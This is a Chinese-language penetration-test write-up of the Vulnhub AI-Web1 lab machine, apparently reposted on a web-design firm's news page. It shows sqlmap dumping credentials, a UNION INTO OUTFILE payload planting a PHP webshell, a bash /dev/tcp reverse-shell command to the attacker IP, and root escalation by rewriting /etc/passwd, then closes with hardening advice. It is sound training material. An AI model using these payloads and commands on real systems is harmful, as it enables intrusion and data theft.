资讯动态

AI-Web1 靶机渗透测试(Vulnhub Writeup)

发布时间:2026/10/17 12:51:48 来源:尧图企业网站定制
AI-Web1 靶机渗透测试Vulnhub Writeup一、靶机与环境介绍本次实战目标为 Vulnhub 平台的 AI-Web1 靶机是一台仅开放 80 端口的 PHP MySQL 自研应用。完整攻击链为信息收集 → 从 robots.txt 定位隐藏目录 → 用户查询功能 SQL 注入脱库 → phpinfo 获取网站绝对路径 → UNION INTO OUTFILE 写 WebShell 反弹 Shell → 数据库密码复用切换 aiweb1pwn 用户 → 利用 /etc/passwd 属主为 www-data 的错误配置改写 UID 直接提权 root。攻击机为 Kali Linux192.168.153.162靶机地址经扫描确认为 192.168.153.170。二、信息收集一存活主机扫描┌──(root㉿kali)-[~] └─# arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.153.162 192.168.153.170 00:0c:29:d0:7e:32 VMware, Inc.二端口扫描全端口扫描仅开放 80 端口Apache 服务首页标题为 AI Web 1.0nmap 脚本直接从 robots.txt 中识别出两个隐藏路径/m3diNf0/ 与 /se3reTdir777/uploads/。┌──(root㉿kali)-[~] └─# nmap -p- 192.168.153.170 PORT STATE SERVICE 80/tcp open http ┌──(root㉿kali)-[~] └─# nmap -p80 -sV -sC -O -T4 192.168.153.170 PORT STATE SERVICE VERSION 80/tcp open http Apache httpd | http-robots.txt: 2 disallowed entries |_/m3diNf0/ /se3reTdir777/uploads/ |_http-server-header: Apache |_http-title: AI Web 1.0三目录扫描分别使用 Metasploit dir_scanner、dirb 与 gobuster 对目标做目录爆破确认除首页 index.html 与 robots.txt 外其余路径基本为隐藏目录。# Metasploit dir_scanner msf use auxiliary/scanner/http/dir_scanner msf auxiliary(scanner/http/dir_scanner) set rhosts 192.168.153.170 msf auxiliary(scanner/http/dir_scanner) run [] Found http://192.168.153.170:80/icons/ 403 # dirb ┌──(root㉿kali)-[~] └─# dirb http://192.168.153.170 http://192.168.153.170/index.html (CODE:200|SIZE:141) http://192.168.153.170/robots.txt (CODE:200|SIZE:82) # gobuster ┌──(root㉿kali)-[~] └─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.153.170 -x php,html,md,zip,txt /index.html (Status: 200) [Size: 141] /robots.txt (Status: 200) [Size: 82]首页提示连谷歌都搜索不到本站内容进一步说明必须通过完备的目录扫描才能发现隐藏路径。直接访问 /se3reTdir777/uploads/ 被拒绝但去掉 /uploads 后缀后进入 /se3reTdir777/发现一个按 User ID 查询用户信息的功能页面。三、用户查询功能 SQL 注入脱库一定位注入点在 User ID 输入框输入 1 可以正常返回 admin 用户信息输入 1 后追加单引号 1 提交页面直接回显 MySQL 语法错误确认此处为字符型 SQL 注入点。二sqlmap 一键脱库该接口以 POST 方式提交 uid 与 OperationSubmit 参数直接使用 sqlmap 跑全流程枚举数据库、表、列并 dump systemUser 表密码字段均为 Base64 编码。┌──(root㉿kali)-[~] └─# python sqlmap.py -u http://192.168.153.170/se3reTdir777/ --datauid1OperationSubmit --batch --dbs ┌──(root㉿kali)-[~] └─# python sqlmap.py -u http://192.168.153.170/se3reTdir777/ --datauid1OperationSubmit --batch -D aiweb1 --tables ┌──(root㉿kali)-[~] └─# python sqlmap.py -u http://192.168.153.170/se3reTdir777/ --datauid1OperationSubmit --batch -D aiweb1 -T systemUser -C userName,password --dump Database: aiweb1 Table: systemUser [3 entries] --------------------------------------------------------- | userName | password | --------------------------------------------------------- | t00r | RmFrZVVzZXJQYXNzdzByZA | | aiweb1pwn | TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ | | u3er | TjB0VGhpczBuZUFsczA | ---------------------------------------------------------将三条 Base64 密码逐一解码t00r : RmFrZVVzZXJQYXNzdzByZA- FakeUserPassw0rd aiweb1pwn : TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ- MyEvilPass_f908sdaf9_sadfasf0sa u3er : TjB0VGhpczBuZUFsczA- N0tThis0neAls0四、phpinfo 辅助写 WebShell一phpinfo 获取网站绝对路径访问 robots.txt 暴露的另一隐藏目录 /m3diNf0/发现 info.php 为 phpinfo 页面从中读到 DOCUMENT_ROOT 为 /home/www/html/web1x443290o2sdf92213。MySQL 通过 INTO OUTFILE 写文件必须知道网站根目录的绝对路径phpinfo 正好补齐这一关键信息。二UNION INTO OUTFILE 写入 Shell当前 MySQL 账号 secure_file_priv 配置为空值且 uploads 目录可写直接使用 UNION 查询把一句话木马写入到 uploads 目录下1 union select null,null,?php system($_GET[0]);? into outfile /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php-- -本地 nc 监听 4444通过 shell.php 的 0 参数传入反弹命令http://192.168.153.170/se3reTdir777/uploads/shell.php?0/bin/bash%20-c%20%22/bin/bash%20-i%20%3E%26%20/dev/tcp/192.168.153.162/4444%200%3E%261%22┌──(root㉿kali)-[~] └─# nc -lvvp 4444 listening on [any] 4444 ... connect to [192.168.153.162] from (UNKNOWN) [192.168.153.170] 34452 www-dataaiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ id uid33(www-data) gid33(www-data) groups33(www-data)也可以直接通过 shell.php 执行系统命令例如 cat /etc/passwd五、密码复用与改写 /etc/passwd 提权一www-data → aiweb1pwn密码复用查看 /etc/passwd 发现系统中存在 aiweb1 与 aiweb1pwn 两个本地用户其中 aiweb1pwn 与数据库 systemUser 表中的用户名一致尝试用解码后的密码 MyEvilPass_f908sdaf9_sadfasf0sa 直接 su 切换成功。www-dataaiweb1:$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash aiweb1:x:1000:1000:AIWEB1:/home/aiweb1:/bin/bash aiweb1pwn:x:1001:1001::/home/aiweb1pwn:/bin/sh www-dataaiweb1:$ su - aiweb1pwn Password: MyEvilPass_f908sdaf9_sadfasf0sa $ id uid1001(aiweb1pwn) gid1001(aiweb1pwn) groups1001(aiweb1pwn)二aiweb1pwn → root改写 /etc/passwd进一步检查发现该靶机的 /etc/passwd 属主与属组竟然都是 www-data-rw-r--r-- 1 www-data www-data属于严重的权限错误配置。直接复制该文件、把 aiweb1pwn 一行的 UID/GID 从 1001:1001 改为 0:0再写回原路径。www-dataaiweb1:$ ls -l /etc/passwd -rw-r--r-- 1 www-data www-data 1664 Oct 14 05:25 /etc/passwd # 将 aiweb1pwn 行改写为 aiweb1pwn:x:0:0::/home/aiweb1pwn:/bin/sh再次 su aiweb1pwn 时由于其 UID 已经是 0直接获得 root 权限www-dataaiweb1:$ su aiweb1pwn Password: MyEvilPass_f908sdaf9_sadfasf0sa # id uid0(root) gid0(root) groups0(root) # whoami root # cat /root/flag.txt AI: WEB 1.0 Congratulation!!! Thank you for penetrate my system. Hope you enjoyed this. flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}六、总结AI-Web1 靶机的完整攻击链如下1. 仅开放 80 端口nmap 脚本直接从 robots.txt 识别出 /m3diNf0/ 与 /se3reTdir777/ 两个隐藏目录2. /se3reTdir777/ 用户查询功能存在字符型 SQL 注入sqlmap 脱库得到三个 Base64 编码的账号密码3. /m3diNf0/info.php 泄露网站绝对路径 /home/www/html/web1x443290o2sdf92213配合 MySQL secure_file_priv 为空使用 UNION INTO OUTFILE 写入一句话木马并反弹 Shell4. 数据库中的 aiweb1pwn 凭据在系统中复用su 切换成功5. 该靶机 /etc/passwd 属主错误配置为 www-data直接把 aiweb1pwn 的 UID/GID 改为 0:0 后再次 su直接获得 root。对应的安全建议① 隐藏路径不应依赖 robots.txt 作为安全机制敏感目录必须通过访问控制保护② 所有数据库查询应使用预编译语句杜绝字符串拼接③ phpinfo 页面绝不应部署在生产环境更不能暴露网站绝对路径④ MySQL 应设置 secure_file_priv 限制文件写入权限并以最小权限账号运行⑤ 系统关键文件 /etc/passwd、/etc/shadow 等必须保持 root:root 与严格权限位绝不能被 Web 用户写入⑥ 数据库密码与系统账号密码应分离避免一处泄露全线沦陷。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑